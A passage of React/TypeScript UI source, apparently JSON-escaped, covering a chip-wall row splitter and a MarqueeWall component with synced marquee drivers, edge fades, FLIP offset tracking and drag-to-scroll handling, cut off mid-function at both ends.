exactly `rows` rows (marketing/onboarding walls\n    // are sized for their design and carry far fewer than a full course/row).\n    const agentCapped = agentSlug === 'fae' || agentSlug === 'mingo';\n    const rowCap = agentCapped ? Math.min(rows, AGENT_MAX_ROWS) : rows;\n    const dataRows = agentCapped\n      ? Math.min(Math.max(1, Math.ceil(chips.length / DEFAULT_MIN_CHIPS_PER_ROW)), rowCap)\n      : rows;\n    // Skeletons hold the cap so the row count never jumps when real chips land.\n    const stackRows = loading ? rowCap : dataRows;\n    // Per-row overflow target — how many chips one copy must hold to overflow\n    // the container (so the marquee loop engages). Priority: an explicit\n    // `minChips` budget wins; otherwise adapt to the MEASURED width (just enough\n    // repeats to overflow — no more, so a narrow composer isn't flooded with\n    // duplicates); before the first measure (or SSR) fall back to the fixed\n    // default, which overflows any width.\n    const adaptivePerRow =\n      brickWidth > 0 && chipWidth > 0\n        ? Math.min(\n            Math.max(Math.ceil(brickWidth / chipWidth) + ADAPTIVE_PAD_MARGIN, MIN_ADAPTIVE_PAD),\n            MAX_ADAPTIVE_PAD,\n          )\n        : DEFAULT_MIN_CHIPS_PER_ROW;\n    const perRowTarget = minChips ? Math.ceil(minChips / stackRows) : adaptivePerRow;\n\n    // Split the ORIGINAL chips evenly across the rows FIRST (each row holds\n    // distinct actions), THEN pad each row to a full course with repeats of its\n    // OWN chips — so a row is never all-duplicates while another carries the\n    // unique ones (the old pad-then-slice split did exactly that when the chip\n    // count lined up with the row count).\n    const rowLists = Array.from({ length: stackRows }, (_, r) => {\n      const base = chips.filter((_chip, i) => i % stackRows === r);\n      if (base.length === 0 || base.length >= perRowTarget) return base;\n      const repeats = Math.ceil(perRowTarget / base.length);\n      return Array.from({ length: repeats }, (_slot, rep) =>\n        rep === 0 ? base : base.map(chip => ({ ...chip, id: `${chip.id}__r${rep}` })),\n      ).flat();\n    });\n    const skelPerRow = Math.ceil(skeletonCount / stackRows);\n    return (\n      <div ref={brickRef} className={cn('relative flex flex-col overflow-hidden', className)} style={{ gap }}>\n        {rowLists.map((list, r) => (\n          <MarqueeWall\n            key={r}\n            mode={mode}\n            axis=\"x\"\n            reverse={reverse}\n            speed={speed}\n            animate={animate && !loading}\n            pauseOnHover={pauseOnHover}\n            dragScroll={dragScroll}\n            copyGap={gap}\n            contentClassName={cn('flex items-center', contentClassName)}\n            contentStyle={{ gap }}\n          >\n            {loading ? renderSkeletons(skelPerRow, r * 3) : renderChipNodes(list)}\n          </MarqueeWall>\n        ))}\n        {mode === 'animated' && <MarqueeWallFades fade={fade} fadeColor={fadeColor} fadeSize={fadeSize} />}\n      </div>\n    );\n  }\n\n  return (\n    <MarqueeWall\n      mode={mode}\n      axis={axis}\n      reverse={reverse}\n      speed={speed}\n      // Skeleton walls stay put — the marquee starts when real chips land.\n      animate={animate && !loading}\n      pauseOnHover={pauseOnHover}\n      dragScroll={dragScroll}\n      fade={fade}\n      fadeColor={fadeColor}\n      fadeSize={fadeSize}\n      copyGap={gap}\n      className={className}\n      contentClassName={cn('flex flex-wrap content-start items-start', contentClassName)}\n      contentStyle={{ gap }}\n      sync={sync}\n    >\n      {renderChips()}\n    </MarqueeWall>\n  );\n}\n","'use client';\n\nimport {\n  type CSSProperties,\n  type MouseEvent,\n  type PointerEvent,\n  type ReactNode,\n  useCallback,\n  useEffect,\n  useLayoutEffect,\n  useMemo,\n  useRef,\n  useState,\n  useSyncExternalStore,\n} from 'react';\nimport { useMarqueeEngine } from '../../hooks/ui/use-marquee-engine';\nimport { useMediaQuery } from '../../hooks/ui/use-media-query';\nimport { useResetOnPageHidden } from '../../hooks/ui/use-reset-on-page-hidden';\nimport { useSuppressCloneFocus } from '../../hooks/ui/use-suppress-clone-focus';\nimport { NEAR_VIEWPORT_ROOT_MARGIN } from '../../hooks/use-near-viewport';\nimport { cn } from '../../utils/cn';\n\n// =============================================================================\n// Types\n// =============================================================================\n\nexport type MarqueeWallFadeEdge = 'top' | 'bottom' | 'left' | 'right';\n\n/**\n * One spelling of the `fade` prop's edge-list normalization.\n *\n * Discriminated on `typeof fade === 'string'` rather than `Array.isArray`:\n * `Array.isArray`'s guard is `arg is any[]`, which narrows a `ReadonlyArray`\n * union member to `any[]` and hands the caller back an `any`-element array —\n * and it forced the single-edge branch through an `as` to undo the narrowing\n * on the other side.\n */\nfunction normalizeFades(\n  fade: MarqueeWallFadeEdge | ReadonlyArray<MarqueeWallFadeEdge> | undefined,\n): ReadonlyArray<MarqueeWallFadeEdge> {\n  if (fade === undefined) return [];\n  return typeof fade === 'string' ? [fade] : fade;\n}\n\n/** @internal per-instance sync membership — just the wall's transform writer.\n *  The object's IDENTITY is the wall's seat token in the election; a wall keeps\n *  one for its whole life (the writer itself is reached through a ref), so a\n *  changed axis/reverse/trackId refreshes what the pair applies without\n *  unregistering and re-electing. */\ninterface MarqueeSyncMember {\n  apply: (pos: number) => void;\n}\n\n/**\n * Pairs two (or more) <MarqueeWall> instances to ONE position driver so their\n * tracks stay pixel-locked (the FreeTrialCTA resolve strips: a pending and a\n * resolved copy of the same chips, clip-path'd at the avatar line). The first\n * mounted instance claims the driver role and runs the shared rAF; the others\n * only register their `apply` transforms. If the driver unmounts while\n * members survive, the next member is promoted — the pair must merely be\n * geometry-identical while mounted together.\n */\nexport interface MarqueeSyncController {\n  /** @internal Join the pair: registers `member`'s transform writer and claims\n   *  the driver role if the seat is empty. Returns the unregister, which\n   *  re-elects a survivor when the leaver was the driver. */\n  register: (member: MarqueeSyncMember) => () => void;\n  /** @internal `useSyncExternalStore` subscription: fires whenever the driver\n   *  seat changes hands, so members re-read {@link isDriver}. */\n  subscribe: (onElectionChange: () => void) => () => void;\n  /** @internal Whether `member` currently holds the driver seat. */\n  isDriver: (member: MarqueeSyncMember) => boolean;\n  /** @internal Publish a driver-written position to the whole pair: records it\n   *  and fans it out to every member's transform. Called once per rAF frame —\n   *  a plain call on instance-lifetime closure state, so it costs exactly what\n   *  the direct field write it replaced cost and triggers no render. */\n  publish: (pos: number) => void;\n  /** @internal Last published position — a promoted driver's engine seeds from\n   *  it, so re-election never snaps the pair back to 0. */\n  readPosition: () => number;\n}\n\n/**\n * The controller's mutable parts — the member set, the driver seat and the\n * live position — are CLOSURE state of this factory, never fields on the\n * object walls receive. A wall calls `publish` / `register`; it never writes\n * through the `sync` prop, so the pair's invariants (one driver, promotion on\n * unmount) are enforced in one place instead of by each wall's effect. Module\n * scope, so the state is not created during a render.\n *\n * The election is published as a `useSyncExternalStore` source rather than\n * pushed into each wall with a `setIsDriver` callback: promotion then happens\n * by React re-reading a snapshot, so a cleanup can never call setState on a\n * peer that is unmounting in the same commit.\n */\nfunction createMarqueeSyncController(): MarqueeSyncController {\n  const members = new Set<MarqueeSyncMember>();\n  const listeners = new Set<() => void>();\n  let driver: MarqueeSyncMember | null = null;\n  let position = 0;\n  const elect = (next: MarqueeSyncMember | null) => {\n    if (driver === next) return;\n    driver = next;\n    listeners.forEach(l => {\n      l();\n    });\n  };\n  return {\n    register(member) {\n      members.add(member);\n      if (driver === null) elect(member);\n      return () => {\n        members.delete(member);\n        if (driver !== member) return;\n        // Promote the next surviving member so the pair never goes driverless\n        // (a driverless pair would freeze — nothing runs the shared rAF).\n        const next = members.values().next();\n        elect(next.done ? null : next.value);\n      };\n    },\n    subscribe(listener) {\n      listeners.add(listener);\n      return () => {\n        listeners.delete(listener);\n      };\n    },\n    isDriver: member => driver === member,\n    publish(pos) {\n      position = pos;\n      members.forEach(m => {\n        m.apply(pos);\n      });\n    },\n    readPosition: () => position,\n  };\n}\n\n/** Module-scope so their identity is stable across renders — a fresh\n *  `subscribe` every render would make `useSyncExternalStore` tear down and\n *  re-establish the subscription on each commit. Used by an UNPAIRED wall,\n *  which has no store to watch and is its own driver by definition; the second\n *  also serves as the server snapshot (there is no rAF during SSR either way,\n *  and the value never reaches the markup). */\nconst subscribeNever = () => () => {};\nconst alwaysDriver = () => true;\n\nexport function useMarqueeSync(): MarqueeSyncController {\n  // An instance-lifetime object, so `useState`'s lazy initialiser rather than a\n  // ref unwrapped during render — which additionally built a throwaway\n  // controller (and a throwaway `Set`) on every single render.\n  const [controller] = useState(createMarqueeSyncController);\n  return controller;\n}\n\n// =============================================================================\n// FLIP coordination — live track offsets + loop-clone helpers\n// =============================================================================\n\nexport interface MarqueeTrackOffset {\n  /** Applied translation (px) along each axis. */\n  x: number;\n  y: number;\n  /** Loop wrap size (single copy + seam gap) along each axis; 0 on the\n   *  non-scroll axis. Lets morph engines treat a chip and its loop clone as\n   *  ONE identity `wrap` apart (the Swiper loop-clone model) and fly the\n   *  copy the viewer actually sees. */\n  wrapX: number;\n  wrapY: number;\n}\n\n/**\n * Registry of each named wall's CURRENT applied translation, written every\n * engine frame and deliberately kept after unmount: a FLIP-across-remounts\n * morph (deck `useFlipMorph`) captures element positions at COMMIT time, so\n * chips inside a drifting marquee would fly from stale origins. With a\n * `trackId` the wall stamps `data-marquee-track` on its container and\n * publishes its offset here; the morph engine corrects captured points by\n * the wall's drift since capture (including drift accrued right up to the\n * source wall's unmount — hence the survive-unmount map).\n */\nconst MARQUEE_TRACK_OFFSETS = new Map<string, MarqueeTrackOffset>();\n\nconst ZERO_OFFSET: MarqueeTrackOffset = { x: 0, y: 0, wrapX: 0, wrapY: 0 };\n\n/** Last known translation + wrap of the wall registered under `trackId`\n *  (live or already unmounted). Zeros for unknown ids / static walls. */\nexport function getMarqueeTrackOffset(trackId: string): MarqueeTrackOffset {\n  return MARQUEE_TRACK_OFFSETS.get(trackId) ?? ZERO_OFFSET;\n}\n\n/**\n * The translation ACTUALLY applied to a wall's track right now, read from the\n * DOM of the `data-marquee-track` container. Morph engines use this on the\n * CAPTURE side (never the registry): a same-id wall freshly remounted in the\n * current commit has not applied any transform yet, while the registry still\n * holds its predecessor's final drift for the flight-side lookup.\n */\nexport function getMarqueeAppliedOffset(trackContainer: Element): { x: number; y: number } {\n  const track = trackContainer.firstElementChild;\n  const t = track ? getComputedStyle(track).transform : 'none';\n  if (!t || t === 'none') return { x: 0, y: 0 };\n  const m = new DOMMatrixReadOnly(t);\n  return { x: m.e, y: m.f };\n}\n\n/**\n * The loop-clone twin of an element inside a wall's PRIMARY copy (same index\n * in the `data-marquee-copy=\"clone\"` copy), or null when there is no clone /\n * the element isn't in the primary copy. Owns the wall's internal DOM shape\n * so morph engines don't hardcode it; `selector` scopes which descendants\n * count as items (default: direct structure-preserving lookup by class is the\n * caller's job — pass the item selector, e.g. `'.flipchip'`).\n */\nexport function getMarqueeCloneTwin(trackContainer: Element, el: Element, selector: string): HTMLElement | null {\n  const primary = trackContainer.querySelector('[data-marquee-copy=\"primary\"]');\n  const clone = trackContainer.querySelector('[data-marquee-copy=\"clone\"]');\n  if (!primary || !clone || !primary.contains(el)) return null;\n  const idx = Array.prototype.indexOf.call(primary.querySelectorAll(selector), el);\n  if (idx < 0) return null;\n  return (clone.querySelectorAll(selector)[idx] as HTMLElement | undefined) ?? null;\n}\n\nexport interface MarqueeWallProps {\n  /**\n   * Presentation mode — the consumer's one switch for \"do I want the\n   * blur + marquee here at all\":\n   * - `'animated'` (default): endless marquee when content overflows, with\n   *   the overflow fades.\n   * - `'plain'`: no motion, no fades — a plain clipped wall. All marquee\n   *   machinery (engine, clone copy, fades) is skipped entirely.\n   */\n  mode?: 'animated' | 'plain';\n  /**\n   * Marquee axis. Defaults to where the fade sits — the animation's job is to\n   * reveal what the fade hides: a `bottom`/`top` fade clips rows → vertical\n   * (content travels bottom→top); a `left`/`right`-only fade clips columns →\n   * horizontal (content travels right→left). No fade → horizontal.\n   */\n  axis?: 'x' | 'y';\n  /** Reverse travel: `x` reversed moves content right, `y` reversed moves it\n   *  down. Default false (left / up). */\n  reverse?: boolean;\n  /** Scroll speed in px/s (the CardsStrip unit — one speed language across\n   *  every marquee). Default 40: calm chip-wall drift, slower than the 60 the\n   *  card strips cruise at. */\n  speed?: number;\n  /** Master switch. Even when true the marquee auto-disables while the content\n   *  fits the container and under `prefers-reduced-motion` (static wall). */\n  animate?: boolean;\n  /** Freeze while a hover-capable pointer is anywhere over the wall — content\n   *  must never move under a pointing cursor (required for interactive chip\n   *  walls). Default true. */\n  pauseOnHover?: boolean;\n  /** Opt-in MANUAL scroll: pointer-drag + horizontal wheel move the wall along\n   *  its axis (transform-based — no inner scroller is created, so it stays\n   *  deck-safe). The auto-marquee pauses during the interaction and briefly\n   *  after, then resumes drifting from wherever the user left it. Off by\n   *  default (decorative walls stay auto-only); enabled on the embeddable-chat\n   *  quick-action walls so users can browse the actions by hand. */\n  dragScroll?: boolean;\n  /** Edge fade(s) — the \"there's more\" affordance. ONE spelling of the\n   *  clip-and-fade across every wall surface. */\n  fade?: MarqueeWallFadeEdge | ReadonlyArray<MarqueeWallFadeEdge>;\n  /** The color the fades blend INTO — must match the surface behind the wall\n   *  or the gradient paints a visible box. Default the page background. */\n  fadeColor?: string;\n  /** Fade thickness: one value for all edges or a per-edge map. Defaults:\n   *  40px vertical edges, 112px horizontal edges (the shipped hero-wall\n   *  geometry). */\n  fadeSize?: number | string | Partial<Record<MarqueeWallFadeEdge, number | string>>;\n  /** Gap between the two track copies — match the content's own item gap so\n   *  the seam is invisible. A CSS length string (e.g. `var(--tlcl-chipgap)`)\n   *  lets responsive CSS own the value; the true seam distance is MEASURED\n   *  from the rendered copies either way. Default 8. */\n  copyGap?: number | string;\n  /** Outer container class — sizing lives here (height cap for `y`, width for\n   *  `x`). The container is always `relative overflow-hidden`. */\n  className?: string;\n  /** Class on EACH track copy — the wall's own layout (e.g. a wrapping chip\n   *  row `flex flex-wrap gap-2`, or a fixed-width grid). */\n  contentClassName?: string;\n  /** Inline style on EACH track copy — for values classes can't carry (e.g.\n   *  an item gap driven by the same variable as `copyGap`, so chip pitch and\n   *  seam pitch stay one value by construction). */\n  contentStyle?: CSSProperties;\n  /**\n   * Wall content — ONE copy; the wall clones it for the endless loop (clone\n   * `aria-hidden` + focus-suppressed but still clickable). Pass a render\n   * callback to vary the clone copy (e.g. omit `data-flip-id`s / render\n   * decorative chips). Children must be clone-safe: ref-free, unique-DOM-id-\n   * free, mount-effect-free (same contract as <CardsStrip> children mode).\n   */\n  children: ReactNode | ((ctx: { isClone: boolean }) => ReactNode);\n  /** Pair this wall with sibling walls under one shared position driver. */\n  sync?: MarqueeSyncController;\n  /** Stable id for FLIP coordination: publishes the wall's live offset via\n   *  {@link getMarqueeTrackOffset} and stamps `data-marquee-track` on the\n   *  container so morph engines can drift-correct captured positions. */\n  trackId?: string;\n}\n\n// =============================================================================\n// Internals\n// =============================================================================\n\nconst DEFAULT_FADE_SIZE: Record<MarqueeWallFadeEdge, string> = {\n  top: '40px',\n  bottom: '40px',\n  left: '112px',\n  right: '112px',\n};\n\nconst FADE_POSITION: Record<MarqueeWallFadeEdge, string> = {\n  top: 'inset-x-0 top-0',\n  bottom: 'inset-x-0 bottom-0',\n  left: 'inset-y-0 left-0',\n  right: 'inset-y-0 right-0',\n};\n\n/** The wall's edge-fade overlays — exported so composite walls (stacked row\n *  marquees) can draw ONE set of fades over the whole stack instead of\n *  per-row copies. Parent must be `relative`. Overlays sit at z-1, ABOVE\n *  FLIP flight ghosts (z-0 by contract): an in-flight chip dissolves under\n *  the blur exactly like a resting chip. */\nexport function MarqueeWallFades({\n  fade,\n  fadeColor = 'var(--color-bg)',\n  fadeSize,\n}: {\n  fade?: MarqueeWallFadeEdge | ReadonlyArray<MarqueeWallFadeEdge>;\n  fadeColor?: string;\n  fadeSize?: MarqueeWallProps['fadeSize'];\n}) {\n  return (\n    <>\n      {normalizeFades(fade).map(edge => {\n        const size =\n          (typeof fadeSize === 'object' && fadeSize !== null ? fadeSize[edge] : fadeSize) ?? DEFAULT_FADE_SIZE[edge];\n        const px = typeof size === 'number' ? `${size}px` : size;\n        const isY = edge === 'top' || edge === 'bottom';\n        return (\n          <div\n            key={edge}\n            aria-hidden\n            // Edge marker: lets morph engines measure the fade bands when\n            // they need band-aware behavior.\n            data-marquee-fade={edge}\n            className={cn('pointer-events-none absolute z-[1]', FADE_POSITION[edge])}\n            style={{\n              [isY ? 'height' : 'width']: px,\n              backgroundImage: `linear-gradient(to ${edge}, transparent, ${fadeColor})`,\n            }}\n          />\n        );\n      })}\n    </>\n  );\n}\n\n/** Clone track copy — aria-hidden with focusable descendants suppressed (but\n *  clickable, the shared loop-clone treatment). */\nfunction CloneCopy({ className, style, children }: { className?: string; style?: CSSProperties; children: ReactNode }) {\n  const ref = useSuppressCloneFocus(true);\n  return (\n    <div ref={ref} aria-hidden data-marquee-copy=\"clone\" className={className} style={style}>\n      {children}\n    </div>\n  );\n}\n\n// =============================================================================\n// Component\n// =============================================================================\n\n/**\n * <MarqueeWall> — THE endless-scroll wall container: a clipped area whose\n * content loops as a marquee along either axis, fading out where the clip\n * cuts. Built on the same `useMarqueeEngine` core as <CardsStrip> (the news /\n * logo / bites strips) with a TRANSFORM driver instead of a scroller — no\n * inner scrollable area is created, so it is safe inside surfaces that forbid\n * nested scrollers (the deck's mobile single-fold panels).\n *\n * Static by circumstance, not by variant: when the content fits the container\n * (or `prefers-reduced-motion`) the wall renders a single static copy with\n * its fades — byte-identical to the old non-animated walls.\n */\nexport function MarqueeWall({\n  mode = 'animated',\n  axis: axisProp,\n  reverse = false,\n  speed = 40,\n  animate = true,\n  pauseOnHover = true,\n  dragScroll = false,\n  fade,\n  fadeColor = 'var(--color-bg)',\n  fadeSize,\n  copyGap = 8,\n  className,\n  contentClassName,\n  contentStyle,\n  children,\n  sync,\n  trackId,\n}: MarqueeWallProps) {\n  const fades = useMemo(() => normalizeFades(fade), [fade]);\n  const axis = axisProp ?? (fades.includes('top') || fades.includes('bottom') ? 'y' : 'x');\n\n  const containerRef = useRef<HTMLDivElement | null>(null);\n  const trackRef = useRef<HTMLDivElement | null>(null);\n  const copyRef = useRef<HTMLDivElement | null>(null);\n\n  // ---- environment -----------------------------------------------------------\n  const reducedMotion = useMediaQuery('(prefers-reduced-motion: reduce)') ?? false;\n\n  // ---- overflow + seam measurement -------------------------------------------\n  // One copy vs the container along the axis decides overflow (no overflow →\n  // nothing hidden → no marquee, no clone). The WRAP size — the loop's seam\n  // distance — is MEASURED as the offset delta between the two rendered\n  // copies, so it is exact whatever produced the gap (numeric prop or a\n  // responsive CSS variable); before the clone mounts it falls back to\n  // copy size + numeric gap, corrected on the next measure.\n  const [overflows, setOverflows] = useState(false);\n  const copySizeRef = useRef(0);\n  const wrapSizeRef = useRef(0);\n  const measure = useCallback(() => {\n    const container = containerRef.current;\n    const copy = copyRef.current;\n    if (!container || !copy) return;\n    const size = axis === 'y' ? copy.offsetHeight : copy.offsetWidth;\n    copySizeRef.current = size;\n    const clone = trackRef.current?.querySelector<HTMLElement>('[data-marquee-copy=\"clone\"]');\n    wrapSizeRef.current = clone\n      ? axis === 'y'\n        ? clone.offsetTop - copy.offsetTop\n        : clone.offsetLeft - copy.offsetLeft\n      : size + (typeof copyGap === 'number' ? copyGap : 0);\n    const avail = axis === 'y' ? container.clientHeight : container.clientWidth;\n    setOverflows(size > avail + 1);\n  }, [axis, copyGap]);\n  // Structural gate — the wall IS a marquee (clone copy + transform driver\n  // mounted) whenever its content overflows and motion is allowed, INDEPENDENT\n  // of the per-beat `animate` run-gate. Keeping it mounted across a pause lets\n  // the wall FREEZE in place (rAF stops, transform + clone stay put) instead of\n  // snapping the track back to its origin — that reset read as a flicker every\n  // time a stepped slide advanced past a wall's active beat, or the deck-wide\n  // WCAG pause toggled. Only genuinely going static (content now fits, or\n  // reduced-motion) unmounts the clone and clears the transform.\n  const marqueeMounted = mode === 'animated' && !reducedMotion && overflows;\n  // Run-gate — the rAF drives the track only while this wall's beat is active.\n  // Toggling it (step-gate / deck-wide pause / off-screen) freezes and resumes\n  // in place; the velocity envelope persists so resume is at cruise, not a\n  // 0→speed ramp (same contract as the `nearViewport` gate below).\n  const marqueeActive = marqueeMounted && animate;\n  useEffect(() => {\n    measure();\n    const container = containerRef.current;\n    const copy = copyRef.current;\n    if (!container || !copy || typeof ResizeObserver === 'undefined') return undefined;\n    const ro = new ResizeObserver(measure);\n    ro.observe(container);\n    ro.observe(copy);\n    return () => ro.disconnect();\n    // marqueeMounted: the clone mounts with it — re-measure for the true seam.\n  }, [measure, marqueeMounted]);\n\n  // Viewport gates `active` (rAF fully stops off-screen) instead of being a\n  // pause REASON: the velocity envelope persists across engine restarts, so\n  // scrolling a wall back into view resumes at cruise speed instantly — a\n  // pause-reason resume would ramp 0→speed over ~250ms, a visible\n  // stopped-then-start on every slide/section entry.\n  const [nearViewport, setNearViewport] = useState(true);\n  useEffect(() => {\n    const el = containerRef.current;\n    if (!el || typeof IntersectionObserver === 'undefined') return undefined;\n    const io = new IntersectionObserver(entries => setNearViewport(entries[0]?.isIntersecting ?? true), {\n      rootMargin: NEAR_VIEWPORT_ROOT_MARGIN,\n    });\n    io.observe(el);\n    return () => io.disconnect();\n  }, []);\n\n  // ---- pause-reason set ------------------------------------------------------\n  const pointerInsideRef = useRef(false);\n  const clearPointerInside = useCallback(() => {\n    pointerInsideRef.current = false;\n  }, []);\n  const onPointerEnter = useCallback((e: PointerEvent) => {\n    if (e.pointerType === 'touch') return;\n    pointerInsideRef.current = true;\n  }, []);\n  const onPointerLeave = useCallback((e: PointerEvent) => {\n    if (e.pointerType === 'touch') return;\n    pointerInsideRef.current = false;\n  }, []);\n  // Stale-flag self-heal (shared SSOT): if a `pointerleave` is MISSED (tab blur,\n  // overlay under the cursor, interrupted pointer), `inside` stays stuck true and\n  // the wall freezes forever — so un-stick it whenever the tab hides / the window\n  // loses focus. The next real pointer/enter re-arms it.\n  useResetOnPageHidden(clearPointerInside);\n\n  // ---- manual drag / wheel scroll (opt-in via `dragScroll`) ------------------\n  // Transform-based (no inner scroller → deck-safe): drag/wheel move the\n  // engine's float position directly; `draggingRef` + a short suppress window\n  // pause the auto-marquee during and just after the interaction so it resumes\n  // drifting from where the user left it. Refs declared here (before the engine)\n  // so `isPaused` can read them; the handlers (which need the engine's `wrap`)\n  // are defined after the engine call.\n  const draggingRef = useRef(false);\n  const dragSuppressUntilRef = useRef(0);\n\n  // ---- transform driver ------------------------------------------------------\n  const applyTransform = useCallback(\n    (pos: number) => {\n      const track = trackRef.current;\n      if (!track) return;\n      const wrapSize = wrapSizeRef.current;\n      const t = reverse ? pos - wrapSize : -pos;\n      track.style.transform = axis === 'y' ? `translate3d(0, ${t}px, 0)` : `translate3d(${t}px, 0, 0)`;\n      if (trackId) {\n        MARQUEE_TRACK_OFFSETS.set(\n          trackId,\n          axis === 'y' ? { x: 0, y: t, wrapX: 0, wrapY: wrapSize } : { x: t, y: 0, wrapX: wrapSize, wrapY: 0 },\n        );\n      }\n    },\n    [axis, reverse, trackId],\n  );\n  // Sync-aware position writer — THE single entry point for every position\n  // update (the engine's rAF apply AND the manual drag/wheel handlers). With a\n  // `sync` controller it publishes to the shared position and drives every peer\n  // wall's transform; without one it just writes our own. Routing drag/wheel\n  // through here (instead of raw `applyTransform`) keeps a wall that is both\n  // `sync`-ed and `dragScroll`-ed in lockstep with its peers — a direct\n  // `applyTransform` would move only this wall and leave the shared position +\n  // peers stale. Members' own `apply` stays the raw `applyTransform` (no\n  // re-publish), so the controller's fan-out can't recurse.\n  const applyPos = useCallback(\n    (pos: number) => {\n      if (sync) {\n        sync.publish(pos);\n      } else {\n        applyTransform(pos);\n      }\n    },\n    [sync, applyTransform],\n  );\n  // Clear any residual offset only when the marquee turns off STRUCTURALLY\n  // (content shrank so it fits, reduced-motion flipped) — the static wall must\n  // sit at its natural origin. A mere run-gate pause (`animate` false) does NOT\n  // clear it: the frozen track stays exactly where it stopped (no flicker). The\n  // engine position resets with it (below the engine call) so a later\n  // re-activation re-seeds consistently.\n  useEffect(() => {\n    if (marqueeMounted) return;\n    const track = trackRef.current;\n    if (track) track.style.transform = '';\n    if (trackId) MARQUEE_TRACK_OFFSETS.set(trackId, ZERO_OFFSET);\n  }, [marqueeMounted, trackId]);\n  // NOTE deliberately no reset of the registry entry on mount: when a layout\n  // change remounts the SAME trackId in one commit, the morph engine must\n  // still read the OLD wall's final drift for that commit's flight origins.\n  // The new wall's first applied frame (rAF, after all layout effects)\n  // overwrites it. Capture-side reads take the translation from the DOM\n  // ({@link getMarqueeAppliedOffset}), so a stale registry value can never\n  // leak into captured points.\n\n  // ---- sync pairing (driver election by mount order, with re-election) -------\n  // This wall's seat token, stable for its whole life. `apply` goes through a\n  // ref so a changed axis/reverse/trackId swaps the transform writer WITHOUT\n  // leaving and rejoining the pair — re-registering would drop this wall to the\n  // back of the queue and silently hand the driver seat to its peer.\n  const applyTransformRef = useRef(applyTransform);\n  useEffect(() => {\n    applyTransformRef.current = applyTransform;\n  });\n  const [member] = useState<MarqueeSyncMember>(() => ({\n    apply: pos => {\n      applyTransformRef.current(pos);\n    },\n  }));\n  // The election lives in the shared controller — external state, read during\n  // render. That is exactly `useSyncExternalStore`'s job, and it keeps\n  // promotion out of the peer's effect cleanup: a re-elected wall re-reads the\n  // snapshot instead of being handed a setState. Unpaired means self-driven\n  // always — a fact about the PROP, not an election result, so it is a constant\n  // snapshot rather than a value written back into state.\n  const isDriver = useSyncExternalStore(\n    sync ? sync.subscribe : subscribeNever,\n    sync ? () => sync.isDriver(member) : alwaysDriver,\n    alwaysDriver,\n  );\n  useEffect(() => {\n    if (!sync) return undefined;\n    return sync.register(member);\n  }, [sync, member]);\n\n  const { posRef, wrap } = useMarqueeEngine({\n    active: marqueeActive && nearViewport && isDriver,\n    speed,\n    isPaused: now =>\n      (pauseOnHover && pointerInsideRef.current) ||\n      draggingRef.current ||\n      now < dragSuppressUntilRef.current ||\n      document.visibilityState === 'hidden',\n    getWrapSize: () => wrapSizeRef.current,\n    apply: applyPos,\n    // Synced pairs: a re-elected driver resumes from the pair's live position\n    // (engine seeds from readBack on activation) instead of restarting at 0.\n    readBack: sync ? () => sync.readPosition() : undefined,\n  });\n  // REVERSE-travel continuity: an unstyled track (t = 0) corresponds to\n  // pos = wrapSize, not pos = 0 — seed the position on activation so the\n  // engine's first frame continues from the freshly-painted state instead of\n  // teleporting the track a full wrap upward. Without this, a FLIP morph\n  // capturing against the mount paint saw every chip (and every in-flight\n  // ghost target) jump a copy-height on the next frame — the \"chips pour in\n  // from the top instead of flying between panels\" breakage.\n  useLayoutEffect(() => {\n    if (!marqueeMounted) {\n      posRef.current = 0;\n      return;\n    }\n    if (reverse && posRef.current === 0) {\n      posRef.current = Math.max(0, wrapSizeRef.current - 0.01);\n    }\n  }, [marqueeMounted, reverse, posRef]);\n\n  // ---- manual drag / wheel handlers (only wired when `dragScroll`) -----------\n  const DRAG_RESUME_MS = 1200;\n  const dragStartRef = useRef({ coord: 0, pos: 0 });\n  const dragMovedRef = useRef(false);\n  const suppressClickRef = useRef(false);\n\n  const onDragPointerDown = useCallback(\n    (e: PointerEvent) => {\n      if (!marqueeMounted) return;\n      draggingRef.current = true;\n      dragMovedRef.current = false;\n      // Clear any click-suppress left armed by a prior drag that ended WITHOUT a\n      // synthetic click on this container (pointercancel, or the pointer released\n      // off the wall) — otherwise `onDragClickCapture` would swallow this fresh\n      // tap's action. A new press is unambiguously a new intent.\n      suppressClickRef.current = false;\n      dragStartRef.current = { coord: axis === 'y' ? e.clientY : e.clientX, pos: posRef.current };\n      // NOTE deliberately NO setPointerCapture here — capture is taken LAZILY in\n      // `onDragPointerMove`, once the press is proven to be a drag. Capturing on\n      // pointerdown retargets the compatibility mouse events (mouseup, and hence\n      // `click`, which fires at the nearest common ancestor of down/up) from the\n      // pressed element to this container — so a plain tap on a quick-action chip\n      // never reaches the chip's own onClick and the whole wall reads as dead.\n    },\n    [marqueeMounted, axis, posRef],\n  );\n\n  const onDragPointerMove = useCallback(\n    (e: PointerEvent) => {\n      if (!draggingRef.current) return;\n      const delta = (axis === 'y' ? e.clientY : e.clientX) - dragStartRef.current.coord;\n      if (Math.abs(delta) > 3 && !dragMovedRef.current) {\n        dragMovedRef.current = true;\n        // Past the threshold this IS a drag: capture so the gesture keeps\n        // tracking once the pointer leaves the wall. Retargeting click is now\n        // WANTED — the trailing synthetic click is suppressed below anyway.\n        try {\n          containerRef.current?.setPointerCapture(e.pointerId);\n        } catch {\n          /* best-effort */\n        }\n      }\n      // Track follows the pointer. `applyPos` maps pos→translate as `-pos`\n      // (forward) / `pos-wrap` (reverse), so a rightward/downward drag (delta > 0)\n      // must DECREASE pos on a forward wall and INCREASE it on a reverse one.\n      // Via `applyPos` (not raw `applyTransform`) so synced peer walls follow.\n      posRef.current = wrap(dragStartRef.current.pos + (reverse ? delta : -delta));\n      applyPos(posRef.current);\n      dragSuppressUntilRef.current = performance.now() + DRAG_RESUME_MS;\n    },\n    [axis, reverse, wrap, posRef, applyPos],\n  );\n\n  const onDragPointerUp = useCallback((e: PointerEvent) => {\n    if (!draggingRef.current) return;\n    draggingRef.current = false;\n    // A real drag ends over a chip → swallow the synthetic click so the drag\n    // doesn't fire the chip's action.\n    if (dragMovedRef.current) suppressClickRef.current = true;\n    dragSuppressUntilRef.current = performance.now() + DRAG_RESUME_MS;\n    // Only ever captured past the drag threshold (see `onDragPointerMove`).\n    if (dragMovedRef.current) {\n      try {\n        containerRef.current?.releasePointerCapture(e.pointerId);\n      } catch {\n        /* best-effort */\n      }\n    }\n  }, []);\n\n  // Pre-threshold presses hold NO pointer capture, so a pointer that leaves the\n  // wall before becoming a drag would never deliver its `pointerup` here and\n  // `draggingRef` would stay stuck true — freezing the marquee forever. End the\n  // gesture on leave; a captured (real) drag keeps running, capture guarantees\n  // its own pointerup.\n  const onDragPointerLeave = useCallback(\n    (e: PointerEvent) => {\n      onPointerLeave(e);\n      if 